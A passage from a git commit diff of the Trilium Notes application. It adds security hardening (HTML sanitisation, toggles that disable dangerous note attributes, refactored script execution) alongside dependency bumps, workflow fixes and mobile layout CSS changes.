feat(security): implement a ton of security guardrails, as well as completely disabling scripting if wanted

chore(deps): update dependency pdfjs-dist to v5.4.624 (#8582 )
doc: enhanced icon pack creation (#8659 )
2026-02-20 13:27:05 +01:00 · 2026-02-19 15:59:22 -08:00 · 2026-02-19 22:20:38 +02:00 · 2026-02-19 22:14:10 +02:00 · 2026-02-19 22:13:57 +02:00 · 2026-02-19 21:40:41 +02:00
437 changed files with 19615 additions and 6335 deletions
--- a/.github/workflows/checks.yml
+++ b/.github/workflows/checks.yml
@@ -12,7 +12,7 @@ jobs:
    steps:
      - name: Check if PRs have conflicts
        uses: eps1lon/actions-label-merge-conflict@v3
-        if: github.repository == ${{ vars.REPO_MAIN }}
+        if: ${{ github.repository == vars.REPO_MAIN }}
        with:
          dirtyLabel: "merge-conflicts"
          repoToken: "${{ secrets.MERGE_CONFLICT_LABEL_PAT }}"
--- a/.github/workflows/deploy-docs.yml
+++ b/.github/workflows/deploy-docs.yml
@@ -67,7 +67,7 @@ jobs:

      - name: Deploy
        uses: ./.github/actions/deploy-to-cloudflare-pages
-        if: github.repository == ${{ vars.REPO_MAIN }}
+        if: ${{ github.repository == vars.REPO_MAIN }}
        with:
          project_name: "trilium-docs"
          comment_body: "📚 Documentation preview is ready"
--- a/.github/workflows/nightly.yml
+++ b/.github/workflows/nightly.yml
@@ -26,7 +26,7 @@ permissions:

 jobs:
  nightly-electron:
-    if: github.repository == ${{ vars.REPO_MAIN }}
+    if: ${{ github.repository == vars.REPO_MAIN }}
    name: Deploy nightly
    strategy:
      fail-fast: false
@@ -109,7 +109,7 @@ jobs:
          path: apps/desktop/upload

  nightly-server:
-    if: github.repository == ${{ vars.REPO_MAIN }}
+    if: ${{ github.repository == vars.REPO_MAIN }}
    name: Deploy server nightly
    strategy:
      fail-fast: false
--- a/.nvmrc
+++ b/.nvmrc
@@ -1 +1 @@
-24.13.0
+24.13.1
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -42,5 +42,8 @@
    },
    "eslint.rules.customizations": [
        { "rule": "*", "severity": "warn" }
+    ],
+    "cSpell.words": [
+      "Trilium"
    ]
-}
+}
--- a/apps/build-docs/package.json
+++ b/apps/build-docs/package.json
@@ -9,14 +9,14 @@
  "keywords": [],
  "author": "Elian Doran <contact@eliandoran.me>",
  "license": "AGPL-3.0-only",
-  "packageManager": "pnpm@10.28.1",
+  "packageManager": "pnpm@10.30.0",
  "devDependencies": {
-    "@redocly/cli": "2.14.9",
+    "@redocly/cli": "2.19.1",
    "archiver": "7.0.1",
    "fs-extra": "11.3.3",
-    "react": "19.2.3",
-    "react-dom": "19.2.3",
-    "typedoc": "0.28.16",
+    "react": "19.2.4",
+    "react-dom": "19.2.4",
+    "typedoc": "0.28.17",
    "typedoc-plugin-missing-exports": "4.1.2"
  }
 }
--- a/apps/client/src/index.html
+++ b/apps/client/src/index.html
@@ -13,13 +13,14 @@
    <body id="trilium-app">
        <noscript>Trilium requires JavaScript to be enabled.</noscript>

+        <div id="context-menu-cover"></div>
        <div class="dropdown-menu dropdown-menu-sm" id="context-menu-container" style="display: none"></div>

        <!-- Required to match the PWA's top bar color with the theme -->
        <!-- This works even when the user directly changes --root-background in CSS -->
        <div id="background-color-tracker" style="position: absolute; visibility: hidden; color: var(--root-background); transition: color 1ms;"></div>

-        <script src="./index.ts" type="module"></script>
+        <script src="./src/index.ts" type="module"></script>

        <!-- Required for correct loading of scripts in Electron -->
        <script>
--- a/apps/client/package.json
+++ b/apps/client/package.json
@@ -27,7 +27,7 @@
    "@mermaid-js/layout-elk": "0.2.0",
    "@mind-elixir/node-menu": "5.0.1",
    "@popperjs/core": "2.11.8",
-    "@preact/signals": "2.6.1",
+    "@preact/signals": "2.8.1",
    "@triliumnext/ckeditor5": "workspace:*",
    "@triliumnext/codemirror": "workspace:*",
    "@triliumnext/commons": "workspace:*",
@@ -41,10 +41,11 @@
    "clsx": "2.1.1",
    "color": "5.0.3",
    "debounce": "3.0.0",
+    "dompurify": "3.2.5",
    "draggabilly": "3.0.0",
-    "force-graph": "1.51.0",
-    "globals": "17.0.0",
-    "i18next": "25.8.0",
+    "force-graph": "1.51.1",
+    "globals": "17.3.0",
+    "i18next": "25.8.11",
    "i18next-http-backend": "3.0.2",
    "jquery": "4.0.0",
    "jquery.fancytree": "2.38.5",
@@ -54,14 +55,14 @@
    "leaflet": "1.9.4",
    "leaflet-gpx": "2.2.0",
    "mark.js": "8.11.1",
-    "marked": "17.0.1",
-    "mermaid": "11.12.2",
-    "mind-elixir": "5.6.1",
+    "marked": "17.0.3",
+    "mermaid": "11.12.3",
+    "mind-elixir": "5.8.3",
    "normalize.css": "8.0.1",
    "panzoom": "9.4.3",
-    "preact": "10.28.2",
-    "react-i18next": "16.5.3",
-    "react-window": "2.2.5",
+    "preact": "10.28.3",
+    "react-i18next": "16.5.4",
+    "react-window": "2.2.7",
    "reveal.js": "5.2.1",
    "svg-pan-zoom": "3.6.2",
    "tabulator-tables": "6.3.1",
@@ -69,7 +70,7 @@
  },
  "devDependencies": {
    "@ckeditor/ckeditor5-inspector": "5.0.0",
-    "@prefresh/vite": "2.4.11",
+    "@prefresh/vite": "2.4.12",
    "@types/bootstrap": "5.2.10",
    "@types/jquery": "3.5.33",
    "@types/leaflet": "1.9.21",
@@ -78,9 +79,9 @@
    "@types/reveal.js": "5.2.2",
    "@types/tabulator-tables": "6.3.1",
    "copy-webpack-plugin": "13.0.1",
-    "happy-dom": "20.3.9",
+    "happy-dom": "20.6.3",
    "lightningcss": "1.31.1",
    "script-loader": "0.7.2",
-    "vite-plugin-static-copy": "3.1.5"
+    "vite-plugin-static-copy": "3.2.0"
  }
 }
--- a/apps/client/src/desktop.ts
+++ b/apps/client/src/desktop.ts
@@ -46,10 +46,6 @@ if (utils.isElectron()) {
    electronContextMenu.setupContextMenu();
 }

-if (utils.isPWA()) {
-    initPWATopbarColor();
-}
-
 function initOnElectron() {
    const electron: typeof Electron = utils.dynamicRequire("electron");
    electron.ipcRenderer.on("globalShortcut", async (event, actionName) => appContext.triggerCommand(actionName));
@@ -99,15 +95,22 @@ function initFullScreenDetection(currentWindow: Electron.BrowserWindow) {
 }

 function initTransparencyEffects(style: CSSStyleDeclaration, currentWindow: Electron.BrowserWindow) {
+    const material = style.getPropertyValue("--background-material").trim();
    if (window.glob.platform === "win32") {
-        const material = style.getPropertyValue("--background-material");
-        // TriliumNextTODO: find a nicer way to make TypeScript happy – unfortunately TS did not like Array.includes here
        const bgMaterialOptions = ["auto", "none", "mica", "acrylic", "tabbed"] as const;
        const foundBgMaterialOption = bgMaterialOptions.find((bgMaterialOption) => material === bgMaterialOption);
        if (foundBgMaterialOption) {
            currentWindow.setBackgroundMaterial(foundBgMaterialOption);
        }
    }
+
+    if (window.glob.platform === "darwin") {
+        const bgMaterialOptions = [ "popover", "tooltip", "titlebar", "selection", "menu", "sidebar", "header", "sheet", "window", "hud", "fullscreen-ui", "content", "under-window", "under-page" ] as const;
+        const foundBgMaterialOption = bgMaterialOptions.find((bgMaterialOption) => material === bgMaterialOption);
+        if (foundBgMaterialOption) {
+            currentWindow.setVibrancy(foundBgMaterialOption);
+        }
+    }
 }

 /**
@@ -127,20 +130,3 @@ function initDarkOrLightMode(style: CSSStyleDeclaration) {
    const { nativeTheme } = utils.dynamicRequire("@electron/remote") as typeof ElectronRemote;
    nativeTheme.themeSource = themeSource;
 }
-
-function initPWATopbarColor() {
-    const tracker = $("#background-color-tracker");
-
-    if (tracker.length) {
-        const applyThemeColor = () => {
-            let meta = $("meta[name='theme-color']");
-            if (!meta.length) {
-                meta = $(`<meta name="theme-color">`).appendTo($("head"));
-            }
-            meta.attr("content", tracker.css("color"));
-        };
-
-        tracker.on("transitionend", applyThemeColor);
-        applyThemeColor();
-    }
-}
--- a/apps/client/src/entities/fnote.ts
+++ b/apps/client/src/entities/fnote.ts
@@ -700,6 +700,15 @@ export default class FNote {
        return this.hasAttribute(LABEL, name);
    }

+    /**
+     * Returns `true` if the note has a label with the given name (same as {@link hasOwnedLabel}), or it has a label with the `disabled:` prefix (for example due to a safe import).
+     * @param name the name of the label to look for.
+     * @returns `true` if the label exists, or its version with the `disabled:` prefix.
+     */
+    hasLabelOrDisabled(name: string) {
+        return this.hasLabel(name) || this.hasLabel(`disabled:${name}`);
+    }
+
    /**
     * @param name - label name
     * @returns true if label exists (including inherited) and does not have "false" value.
--- a/apps/client/src/index.ts
+++ b/apps/client/src/index.ts
@@ -30,7 +30,7 @@ async function initJQuery() {
 }

 async function setupGlob() {
-    const response = await fetch(`/bootstrap${window.location.search}`);
+    const response = await fetch(`./bootstrap${window.location.search}`);
    const json = await response.json();

    window.global = globalThis; /* fixes https://github.com/webpack/webpack/issues/10035 */
--- a/apps/client/src/layouts/mobile_layout.css
+++ b/apps/client/src/layouts/mobile_layout.css
@@ -0,0 +1,76 @@
+#background-color-tracker {
+    color: var(--main-background-color) !important;
+}
+
+span.keyboard-shortcut,
+kbd {
+    display: none;
+}
+
+.dropdown-menu {
+    font-size: larger;
+}
+
+.action-button {
+    background: none;
+    border: none;
+    cursor: pointer;
+    font-size: 1.25em;
+    padding-inline-start: 0.5em;
+    padding-inline-end: 0.5em;
+    color: var(--main-text-color);
+}
+.quick-search {
+    margin: 0;
+}
+.quick-search .dropdown-menu {
+    max-width: 350px;
+}
+
+/* #region Tree */
+.tree-wrapper {
+    max-height: 100%;
+    margin-top: 0px;
+    overflow-y: auto;
+    contain: content;
+    padding-inline-start: 10px;
+}
+
+.fancytree-title {
+    margin-inline-start: 0.6em !important;
+}
+
+.fancytree-node {
+    padding: 5px;
+}
+
+span.fancytree-expander {
+    width: 24px !important;
+    margin-inline-end: 5px;
+}
+
+.fancytree-loading span.fancytree-expander {
+    width: 24px;
+    height: 32px;
+}
+
+.fancytree-loading  span.fancytree-expander:after {
+    width: 20px;
+    height: 20px;
+    margin-top: 4px;
+    border-width: 2px;
+    border-style: solid;
+}
+
+.tree-wrapper .collapse-tree-button,
+.tree-wrapper .scroll-to-active-note-button,
+.tree-wrapper .tree-settings-button {
+    position: fixed;
+    margin-inline-end: 16px;
+    display: none;
+}
+
+.tree-wrapper .unhoist-button {
+    font-size: 200%;
+}
+/* #endregion */
--- a/apps/client/src/layouts/mobile_layout.tsx
+++ b/apps/client/src/layouts/mobile_layout.tsx
@@ -1,128 +1,38 @@
+import "./mobile_layout.css";
+
 import type AppContext from "../components/app_context.js";
 import GlobalMenuWidget from "../widgets/buttons/global_menu.js";
 import CloseZenModeButton from "../widgets/close_zen_button.js";
 import NoteList from "../widgets/collections/NoteList.jsx";
-import ContentHeader from "../widgets/containers/content_header.js";
 import FlexContainer from "../widgets/containers/flex_container.js";
 import RootContainer from "../widgets/containers/root_container.js";
 import ScrollingContainer from "../widgets/containers/scrolling_container.js";
 import SplitNoteContainer from "../widgets/containers/split_note_container.js";
-import FloatingButtons from "../widgets/FloatingButtons.jsx";
-import { MOBILE_FLOATING_BUTTONS } from "../widgets/FloatingButtonsDefinitions.jsx";
+import FindWidget from "../widgets/find.js";
 import LauncherContainer from "../widgets/launch_bar/LauncherContainer.jsx";
+import InlineTitle from "../widgets/layout/InlineTitle.jsx";
+import NoteBadges from "../widgets/layout/NoteBadges.jsx";
+import NoteTitleActions from "../widgets/layout/NoteTitleActions.jsx";
 import MobileDetailMenu from "../widgets/mobile_widgets/mobile_detail_menu.js";
 import ScreenContainer from "../widgets/mobile_widgets/screen_container.js";
 import SidebarContainer from "../widgets/mobile_widgets/sidebar_container.js";
 import ToggleSidebarButton from "../widgets/mobile_widgets/toggle_sidebar_button.jsx";
+import NoteIconWidget from "../widgets/note_icon.jsx";
 import NoteTitleWidget from "../widgets/note_title.js";
 import NoteTreeWidget from "../widgets/note_tree.js";
 import NoteWrapperWidget from "../widgets/note_wrapper.js";
 import NoteDetail from "../widgets/NoteDetail.jsx";
-import PromotedAttributes from "../widgets/PromotedAttributes.jsx";
 import QuickSearchWidget from "../widgets/quick_search.js";
-import { useNoteContext } from "../widgets/react/hooks.jsx";
-import ReadOnlyNoteInfoBar from "../widgets/ReadOnlyNoteInfoBar.jsx";
-import StandaloneRibbonAdapter from "../widgets/ribbon/components/StandaloneRibbonAdapter.jsx";
-import FilePropertiesTab from "../widgets/ribbon/FilePropertiesTab.jsx";
-import SearchDefinitionTab from "../widgets/ribbon/SearchDefinitionTab.jsx";
+import ScrollPadding from "../widgets/scroll_padding";
 import SearchResult from "../widgets/search_result.jsx";
-import SharedInfoWidget from "../widgets/shared_info.js";
-import TabRowWidget from "../widgets/tab_row.js";
 import MobileEditorToolbar from "../widgets/type_widgets/text/mobile_editor_toolbar.jsx";
 import { applyModals } from "./layout_commons.js";

-const MOBILE_CSS = `
-<style>
-span.keyboard-shortcut,
-kbd {
-    display: none;
-}
-
-.dropdown-menu {
-    font-size: larger;
-}
-
-.action-button {
-    background: none;
-    border: none;
-    cursor: pointer;
-    font-size: 1.25em;
-    padding-inline-start: 0.5em;
-    padding-inline-end: 0.5em;
-    color: var(--main-text-color);
-}
-.quick-search {
-    margin: 0;
-}
-.quick-search .dropdown-menu {
-    max-width: 350px;
-}
-</style>`;
-
-const FANCYTREE_CSS = `
-<style>
-.tree-wrapper {
-    max-height: 100%;
-    margin-top: 0px;
-    overflow-y: auto;
-    contain: content;
-    padding-inline-start: 10px;
-}
-
-.fancytree-custom-icon {
-    font-size: 2em;
-}
-
-.fancytree-title {
-    font-size: 1.5em;
-    margin-inline-start: 0.6em !important;
-}
-
-.fancytree-node {
-    padding: 5px;
-}
-
-.fancytree-node .fancytree-expander:before {
-    font-size: 2em !important;
-}
-
-span.fancytree-expander {
-    width: 24px !important;
-    margin-inline-end: 5px;
-}
-
-.fancytree-loading span.fancytree-expander {
-    width: 24px;
-    height: 32px;
-}
-
-.fancytree-loading  span.fancytree-expander:after {
-    width: 20px;
-    height: 20px;
-    margin-top: 4px;
-    border-width: 2px;
-    border-style: solid;
-}
-
-.tree-wrapper .collapse-tree-button,
-.tree-wrapper .scroll-to-active-note-button,
-.tree-wrapper .tree-settings-button {
-    position: fixed;
-    margin-inline-end: 16px;
-    display: none;
-}
-
-.tree-wrapper .unhoist-button {
-    font-size: 200%;
-}
-</style>`;
-
 export default class MobileLayout {
    getRootWidget(appContext: typeof AppContext) {
        const rootContainer = new RootContainer(true)
            .setParent(appContext)
            .class("horizontal-layout")
-            .cssBlock(MOBILE_CSS)
            .child(new FlexContainer("column").id("mobile-sidebar-container"))
            .child(
                new FlexContainer("row")
@@ -136,7 +46,7 @@ export default class MobileLayout {
                            .css("padding-inline-start", "0")
                            .css("padding-inline-end", "0")
                            .css("contain", "content")
-                            .child(new FlexContainer("column").filling().id("mobile-sidebar-wrapper").child(new QuickSearchWidget()).child(new NoteTreeWidget().cssBlock(FANCYTREE_CSS)))
+                            .child(new FlexContainer("column").filling().id("mobile-sidebar-wrapper").child(new QuickSearchWidget()).child(new NoteTreeWidget()))
                    )
                    .child(
                        new ScreenContainer("detail", "row")
@@ -147,30 +57,28 @@ export default class MobileLayout {
                                    new NoteWrapperWidget()
                                        .child(
                                            new FlexContainer("row")
+                                                .class("title-row note-split-title")
                                                .contentSized()
-                                                .css("font-size", "larger")
                                                .css("align-items", "center")
                                                .child(<ToggleSidebarButton />)
+                                                .child(<NoteIconWidget />)
                                                .child(<NoteTitleWidget />)
+                                                .child(<NoteBadges />)
                                                .child(<MobileDetailMenu />)
                                        )
-                                        .child(<FloatingButtons items={MOBILE_FLOATING_BUTTONS} />)
-                                        .child(<PromotedAttributes />)
                                        .child(
                                            new ScrollingContainer()
                                                .filling()
                                                .contentSized()
-                                                .child(new ContentHeader()
-                                                    .child(<ReadOnlyNoteInfoBar />)
-                                                    .child(<SharedInfoWidget />)
-                                                )
+                                                .child(<InlineTitle />)
+                                                .child(<NoteTitleActions />)
                                                .child(<NoteDetail />)
                                                .child(<NoteList media="screen" />)
-                                                .child(<StandaloneRibbonAdapter component={SearchDefinitionTab} />)
                                                .child(<SearchResult />)
-                                                .child(<FilePropertiesWrapper />)
+                                                .child(<ScrollPadding />)
                                        )
                                        .child(<MobileEditorToolbar />)
+                                        .child(new FindWidget())
                                )
                            )
                    )
@@ -179,7 +87,6 @@ export default class MobileLayout {
                new FlexContainer("column")
                    .contentSized()
                    .id("mobile-bottom-bar")
-                    .child(new TabRowWidget().css("height", "40px"))
                    .child(new FlexContainer("row")
                        .class("horizontal")
                        .css("height", "53px")
@@ -192,13 +99,3 @@ export default class MobileLayout {
        return rootContainer;
    }
 }
-
-function FilePropertiesWrapper() {
-    const { note, ntxId } = useNoteContext();
-
-    return (
-        <div>
-            {note?.type === "file" && <FilePropertiesTab note={note} ntxId={ntxId} />}
-        </div>
-    );
-}
--- a/apps/client/src/menus/context_menu.ts
+++ b/apps/client/src/menus/context_menu.ts
@@ -1,8 +1,9 @@
 import { KeyboardActionNames } from "@triliumnext/commons";
+import { h, JSX, render } from "preact";
+
 import keyboardActionService, { getActionSync } from "../services/keyboard_actions.js";
 import note_tooltip from "../services/note_tooltip.js";
 import utils from "../services/utils.js";
-import { h, JSX, render } from "preact";

 export interface ContextMenuOptions<T> {
    x: number;
@@ -62,17 +63,17 @@ export type ContextMenuEvent = PointerEvent | MouseEvent | JQuery.ContextMenuEve

 class ContextMenu {
    private $widget: JQuery<HTMLElement>;
-    private $cover: JQuery<HTMLElement>;
+    private $cover?: JQuery<HTMLElement>;
    private options?: ContextMenuOptions<any>;
    private isMobile: boolean;

    constructor() {
        this.$widget = $("#context-menu-container");
-        this.$cover = $("#context-menu-cover");
        this.$widget.addClass("dropend");
        this.isMobile = utils.isMobile();

        if (this.isMobile) {
+            this.$cover = $("#context-menu-cover");
            this.$cover.on("click", () => this.hide());
        } else {
            $(document).on("click", (e) => this.hide());
@@ -91,7 +92,7 @@ class ContextMenu {
        }

        this.$widget.toggleClass("mobile-bottom-menu", !this.options.forcePositionOnMobile);
-        this.$cover.addClass("show");
+        this.$cover?.addClass("show");
        $("body").addClass("context-menu-shown");

        this.$widget.empty();
@@ -140,16 +141,14 @@ class ContextMenu {
            } else {
                left = this.options.x - contextMenuWidth + CONTEXT_MENU_OFFSET;
            }
+        } else if (contextMenuWidth && this.options.x + contextMenuWidth - CONTEXT_MENU_OFFSET > clientWidth - CONTEXT_MENU_PADDING) {
+            // Overflow: right
+            left = clientWidth - contextMenuWidth - CONTEXT_MENU_PADDING;
+        } else if (this.options.x - CONTEXT_MENU_OFFSET < CONTEXT_MENU_PADDING) {
+            // Overflow: left
+            left = CONTEXT_MENU_PADDING;
        } else {
-            if (contextMenuWidth && this.options.x + contextMenuWidth - CONTEXT_MENU_OFFSET > clientWidth - CONTEXT_MENU_PADDING) {
-                // Overflow: right
-                left = clientWidth - contextMenuWidth - CONTEXT_MENU_PADDING;
-            } else if (this.options.x - CONTEXT_MENU_OFFSET < CONTEXT_MENU_PADDING) {
-                // Overflow: left
-                left = CONTEXT_MENU_PADDING;
-            } else {
-                left = this.options.x - CONTEXT_MENU_OFFSET;
-            }
+            left = this.options.x - CONTEXT_MENU_OFFSET;
        }

        this.$widget
@@ -249,7 +248,7 @@ class ContextMenu {
        if ("uiIcon" in item || "checked" in item) {
            const icon = (item.checked ? "bx bx-check" : item.uiIcon);
            if (icon) {
-                $icon.addClass(icon);
+                $icon.addClass([icon, "tn-icon"]);
            } else {
                $icon.append("&nbsp;");
            }
@@ -261,7 +260,7 @@ class ContextMenu {
            .append(item.title);

        if ("badges" in item && item.badges) {
-            for (let badge of item.badges) {
+            for (const badge of item.badges) {
                const badgeElement = $(`<span class="badge">`).text(badge.title);

                if (badge.className) {
@@ -352,7 +351,7 @@ class ContextMenu {
    async hide() {
        this.options?.onHide?.();
        this.$widget.removeClass("show");
-        this.$cover.removeClass("show");
+        this.$cover?.removeClass("show");
        $("body").removeClass("context-menu-shown");
        this.$widget.hide();
    }
--- a/apps/client/src/menus/launcher_context_menu.ts
+++ b/apps/client/src/menus/launcher_context_menu.ts
@@ -1,12 +1,12 @@
-import treeService from "../services/tree.js";
-import froca from "../services/froca.js";
-import contextMenu, { type MenuCommandItem, type MenuItem } from "./context_menu.js";
-import dialogService from "../services/dialog.js";
-import server from "../services/server.js";
-import { t } from "../services/i18n.js";
+import type { ContextMenuCommandData,FilteredCommandNames } from "../components/app_context.js";
 import type { SelectMenuItemEventListener } from "../components/events.js";
+import dialogService from "../services/dialog.js";
+import froca from "../services/froca.js";
+import { t } from "../services/i18n.js";
+import server from "../services/server.js";
+import treeService from "../services/tree.js";
 import type NoteTreeWidget from "../widgets/note_tree.js";
-import type { FilteredCommandNames, ContextMenuCommandData } from "../components/app_context.js";
+import contextMenu, { type MenuCommandItem, type MenuItem } from "./context_menu.js";

 type LauncherCommandNames = FilteredCommandNames<ContextMenuCommandData>;

@@ -32,8 +32,8 @@ export default class LauncherContextMenu implements SelectMenuItemEventListener<
        const note = this.node.data.noteId ? await froca.getNote(this.node.data.noteId) : null;
        const parentNoteId = this.node.getParent().data.noteId;

-        const isVisibleRoot = note?.noteId === "_lbVisibleLaunchers";
-        const isAvailableRoot = note?.noteId === "_lbAvailableLaunchers";
+        const isVisibleRoot = note?.noteId === "_lbVisibleLaunchers" || note?.noteId === "_lbMobileVisibleLaunchers";
+        const isAvailableRoot = note?.noteId === "_lbAvailableLaunchers" || note?.noteId === "_lbMobileAvailableLaunchers";
        const isVisibleItem = parentNoteId === "_lbVisibleLaunchers" || parentNoteId === "_lbMobileVisibleLaunchers";
        const isAvailableItem = parentNoteId === "_lbAvailableLaunchers" || parentNoteId === "_lbMobileAvailableLaunchers";
        const isItem = isVisibleItem || isAvailableItem;
--- a/apps/client/src/print.tsx
+++ b/apps/client/src/print.tsx
@@ -18,6 +18,10 @@ export type PrintReport = {
 } | {
    type: "collection";
    ignoredNoteIds: string[];
+} | {
+    type: "error";
+    message: string;
+    stack?: string;
 };

 async function main() {
--- a/apps/client/src/services/attributes.ts
+++ b/apps/client/src/services/attributes.ts
@@ -168,6 +168,49 @@ function isAffecting(attrRow: AttributeRow, affectedNote: FNote | null | undefin
    return false;
 }

+/**
+ * Toggles whether a dangerous attribute is enabled or not. When an attribute is disabled, its name is prefixed with `disabled:`.
+ *
+ * Note that this work for non-dangerous attributes as well.
+ *
+ * If there are multiple attributes with the same name, all of them will be toggled at the same time.
+ *
+ * @param note the note whose attribute to change.
+ * @param type the type of dangerous attribute (label or relation).
+ * @param name the name of the dangerous attribute.
+ * @param willEnable whether to enable or disable the attribute.
+ * @returns a promise that will resolve when the request to the server completes.
+ */
+async function toggleDangerousAttribute(note: FNote, type: "label" | "relation", name: string, willEnable: boolean) {
+    const attrs = [
+        ...note.getOwnedAttributes(type, name),
+        ...note.getOwnedAttributes(type, `disabled:${name}`)
+    ];
+
+    for (const attr of attrs) {
+        const baseName = getNameWithoutDangerousPrefix(attr.name);
+        const newName = willEnable ? baseName : `disabled:${baseName}`;
+        if (newName === attr.name) continue;
+
+        // We are adding and removing afterwards to avoid a flicker (because for a moment there would be no active content attribute anymore) because the operations are done in sequence and not atomically.
+        if (attr.type === "label") {
+            await setLabel(note.noteId, newName, attr.value);
+        } else {
+            await setRelation(note.noteId, newName, attr.value);
+        }
+        await removeAttributeById(note.noteId, attr.attributeId);
+    }
+}
+
+/**
+ * Returns the name of an attribute without the `disabled:` prefix, or the same name if it's not disabled.
+ * @param name the name of an attribute.
+ * @returns the name without the `disabled:` prefix.
+ */
+function getNameWithoutDangerousPrefix(name: string) {
+    return name.startsWith("disabled:") ? name.substring(9) : name;
+}
+
 export default {
    addLabel,
    setLabel,
@@ -177,5 +220,7 @@ export default {
    removeAttributeById,
    removeOwnedLabelByName,
    removeOwnedRelationByName,
-    isAffecting
+    isAffecting,
+    toggleDangerousAttribute,
+    getNameWithoutDangerousPrefix
 };
--- a/apps/client/src/services/bundle.ts
+++ b/apps/client/src/services/bundle.ts
@@ -2,7 +2,6 @@ import { h, VNode } from "preact";

 import BasicWidget, { ReactWrappedWidget } from "../widgets/basic_widget.js";
 import RightPanelWidget from "../widgets/right_panel_widget.js";
-import froca from "./froca.js";
 import type { Entity } from "./frontend_script_api.js";
 import { WidgetDefinitionWithType } from "./frontend_script_api_preact.js";
 import { t } from "./i18n.js";
@@ -38,15 +37,18 @@ async function getAndExecuteBundle(noteId: string, originEntity = null, script =

 export type ParentName = "left-pane" | "center-pane" | "note-detail-pane" | "right-pane";

-export async function executeBundle(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
+export async function executeBundleWithoutErrorHandling(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
    const apiContext = await ScriptContext(bundle.noteId, bundle.allNoteIds, originEntity, $container);
+    return await function () {
+        return eval(`const apiContext = this; (async function() { ${bundle.script}\r\n})()`);
+    }.call(apiContext);
+}

+export async function executeBundle(bundle: Bundle, originEntity?: Entity | null, $container?: JQuery<HTMLElement>) {
    try {
-        return await function () {
-            return eval(`const apiContext = this; (async function() { ${bundle.script}\r\n})()`);
-        }.call(apiContext);
-    } catch (e: any) {
-        showErrorForScriptNote(bundle.noteId, t("toast.bundle-error.message", { message: e.message }));
+        return await executeBundleWithoutErrorHandling(bundle, originEntity, $container);
+    } catch (e: unknown) {
+        showErrorForScriptNote(bundle.noteId, t("toast.bundle-error.message", { message: getErrorMessage(e) }));
        logError("Widget initialization failed: ", e);
    }
 }
--- a/apps/client/src/services/content_renderer.css
+++ b/apps/client/src/services/content_renderer.css
@@ -0,0 +1,9 @@
+.rendered-content.no-preview > div {
+    display: flex;
+    flex-direction: column;
+    justify-content: space-around;
+    align-items: center;
+    height: 100%;
+    font-size: 500%;
+    flex-grow: 1;
+}
--- a/apps/client/src/services/content_renderer.ts
+++ b/apps/client/src/services/content_renderer.ts
@@ -1,3 +1,5 @@
+import "./content_renderer.css";
+
 import { normalizeMimeTypeForCKEditor } from "@triliumnext/commons";
 import WheelZoom from 'vanilla-js-wheel-zoom';

@@ -13,7 +15,7 @@ import protectedSessionService from "./protected_session.js";
 import protectedSessionHolder from "./protected_session_holder.js";
 import renderService from "./render.js";
 import { applySingleBlockSyntaxHighlight } from "./syntax_highlight.js";
-import utils from "./utils.js";
+import utils, { getErrorMessage } from "./utils.js";

 let idCounter = 1;

@@ -60,7 +62,10 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo
    } else if (type === "render" && entity instanceof FNote) {
        const $content = $("<div>");

-        await renderService.render(entity, $content);
+        await renderService.render(entity, $content, (e) => {
+            const $error = $("<div>").addClass("admonition caution").text(typeof e === "string" ? e : getErrorMessage(e));
+            $content.empty().append($error);
+        });

        $renderedContent.append($content);
    } else if (type === "doc" && "noteId" in entity) {
@@ -71,18 +76,9 @@ export async function getRenderedContent(this: {} | { ctx: string }, entity: FNo

        $renderedContent.append($("<div>").append("<div>This note is protected and to access it you need to enter password.</div>").append("<br/>").append($button));
    } else if (entity instanceof FNote) {
-        $renderedContent
-            .css("display", "flex")
-            .css("flex-direction", "column");
+        $renderedContent.addClass("no-preview");
        $renderedContent.append(
-            $("<div>")
-                .css("display", "flex")
-                .css("justify-content", "space-around")
-                .css("align-items", "center")
-                .css("height", "100%")
-                .css("font-size", "500%")
-                .css("flex-grow", "1")
-                .append($("<span>").addClass(entity.getIcon()))
+            $("<div>").append($("<span>").addClass(entity.getIcon()))
        );

        if (entity.type === "webView" && entity.hasLabel("webViewSrc")) {
@@ -292,10 +288,11 @@ function getRenderingType(entity: FNote | FAttachment) {
    }

    const mime = "mime" in entity && entity.mime;
+    const isIconPack = entity instanceof FNote && entity.hasLabel("iconPack");

    if (type === "file" && mime === "application/pdf") {
        type = "pdf";
-    } else if ((type === "file" || type === "viewConfig") && mime && CODE_MIME_TYPES.has(mime)) {
+    } else if ((type === "file" || type === "viewConfig") && mime && CODE_MIME_TYPES.has(mime) && !isIconPack) {
        type = "code";
    } else if (type === "file" && mime && mime.startsWith("audio/")) {
        type = "audio";
--- a/apps/client/src/services/content_renderer_text.ts
+++ b/apps/client/src/services/content_renderer_text.ts
@@ -5,6 +5,7 @@ import froca from "./froca.js";
 import link from "./link.js";
 import { renderMathInElement } from "./math.js";
 import { getMermaidConfig } from "./mermaid.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 import tree from "./tree.js";
 import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
    const blob = await note.getBlob();

    if (blob && !isHtmlEmpty(blob.content)) {
-        $renderedContent.append($('<div class="ck-content">').html(blob.content));
+        $renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));

        const seenNoteIds = options.seenNoteIds ?? new Set<string>();
        seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);
--- a/apps/client/src/services/css_class_manager.ts
+++ b/apps/client/src/services/css_class_manager.ts
@@ -49,7 +49,7 @@ function createClassForColor(colorString: string | null) {
    return clsx("use-note-color", className, colorsWithHue.has(className) && "with-hue");
 }

-function parseColor(color: string) {
+export function parseColor(color: string) {
    try {
        return Color(color.toLowerCase());
    } catch (ex) {
@@ -77,7 +77,7 @@ function adjustColorLightness(color: ColorInstance, lightThemeMaxLightness: numb
 }

 /** Returns the hue of the specified color, or undefined if the color is grayscale. */
-function getHue(color: ColorInstance) {
+export function getHue(color: ColorInstance) {
    const hslColor = color.hsl();
    if (hslColor.saturationl() > 0) {
        return hslColor.hue();
--- a/apps/client/src/services/doc_renderer.ts
+++ b/apps/client/src/services/doc_renderer.ts
@@ -9,6 +9,15 @@ export default function renderDoc(note: FNote) {
        const $content = $("<div>");

        if (docName) {
